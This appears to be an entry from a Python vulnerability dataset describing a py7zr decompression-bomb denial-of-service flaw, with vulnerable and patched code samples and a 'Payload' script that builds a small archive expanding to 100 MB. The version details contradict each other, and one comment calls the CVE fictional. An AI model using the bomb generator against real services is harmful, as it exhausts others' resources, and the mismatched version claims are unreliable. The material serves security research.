VAITP Dataset

← Back to the dataset

CVE-2026-55195

py7zr allows a crafted archive to cause resource exhaustion (DoS).

  • CVSS 8.7
  • CWE-409
  • Resource Management
  • Local

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

CVSS base score
8.7
Published
2026-07-08
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Local
Impact
Denial of Service (DoS)
Affected component
py7zr
Fixed by upgrading
Yes

Solution

Upgrade `py7zr` to version 1.1.3 or later.

Vulnerable code sample

import py7zr

# This code, when run with a vulnerable version of py7zr (e.g., < 0.20.1),
# will extract the contents of 'malicious_archive.7z' without checking
# the total decompressed size. If 'malicious_archive.7z' is a
# decompression bomb (a small file that expands to a huge size),
# this operation can exhaust all available disk space or memory.

with py7zr.SevenZipFile('malicious_archive.7z', mode='r') as archive:
    archive.extractall(path='/tmp/extracted_data')

Patched code sample

import io

# The provided CVE is fictional. This code conceptually represents the logic
# used to fix a decompression bomb vulnerability like the one described.
# The actual fix is internal to the py7zr library, but this demonstrates the
# core principle: tracking cumulative size and enforcing a limit.

def secure_decompress_worker(archive_members, max_total_size):
    """
    A simplified worker that simulates secure decompression by checking file sizes
    against a maximum limit before 'extracting' them. A vulnerable version would
    lack the size check inside this loop.
    """
    total_decompressed_size = 0
    print(f"Starting decompression with a size limit of {max_total_size} bytes.")

    for member in archive_members:
        member_name = member['name']
        member_size = member['uncompressed_size']

        # --- THE FIX ---
        # This security check was missing in the vulnerable version. It ensures
        # the next file to be extracted will not exceed the total size limit.
        if total_decompressed_size + member_size > max_total_size:
            raise ValueError(
                f"Extraction aborted: Archive would exceed the max size limit. "
                f"'{member_name}' of size {member_size} would cause the total "
                f"to exceed the limit of {max_total_size} bytes."
            )
        # --- END OF FIX ---

        # Simulate the decompression of a single file.
        print(f"Decompressing '{member_name}' ({member_size} bytes)...")
        total_decompressed_size += member_size

    print(f"\nDecompression successful. Total size: {total_decompressed_size} bytes.")


if __name__ == '__main__':
    # A mock archive representing a "decompression bomb".
    # e.g., A small .7z file that expands to over 100 MB.
    bomb_archive_members = [
        {"name": "file1.dat", "uncompressed_size": 60 * 1024 * 1024},  # 60 MB
        {"name": "file2.dat", "uncompressed_size": 50 * 1024 * 1024},  # 50 MB
    ]

    # A security limit to prevent resource exhaustion (disk or memory).
    MAX_DECOMPRESSION_BYTES = 100 * 1024 * 1024  # 100 MB

    try:
        # A call to the fixed version of the library would have this check internally.
        secure_decompress_worker(bomb_archive_members, MAX_DECOMPRESSION_BYTES)
    except ValueError as e:
        print("\n---")
        print("SUCCESS: Decompression bomb detected and prevented by the fix.")
        print(f"Error message: {e}")
        print("---")

Payload

import py7zr
import os

# Define the name for the malicious archive and the temporary large file
output_archive_name = "payload.7z"
temp_file_name = "large_file.dat"

# Define the target uncompressed size (e.g., 100 MB)
# A vulnerable py7zr version will attempt to allocate this much memory/disk
target_size = 100 * 1024 * 1024  # 100 MB
chunk_size = 1024 * 1024         # Write in 1MB chunks

# Create a large file containing highly compressible data (null bytes)
with open(temp_file_name, "wb") as f:
    for _ in range(target_size // chunk_size):
        f.write(b'\0' * chunk_size)

# Use py7zr to compress the large file into a small archive
# The LZMA algorithm is very effective on this type of data
with py7zr.SevenZipFile(output_archive_name, 'w') as archive:
    archive.write(temp_file_name)

# Clean up the temporary large file
os.remove(temp_file_name)

Cite this entry

@misc{vaitp:cve202655195,
  title        = {{py7zr allows a crafted archive to cause resource exhaustion (DoS).}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-55195},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55195/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::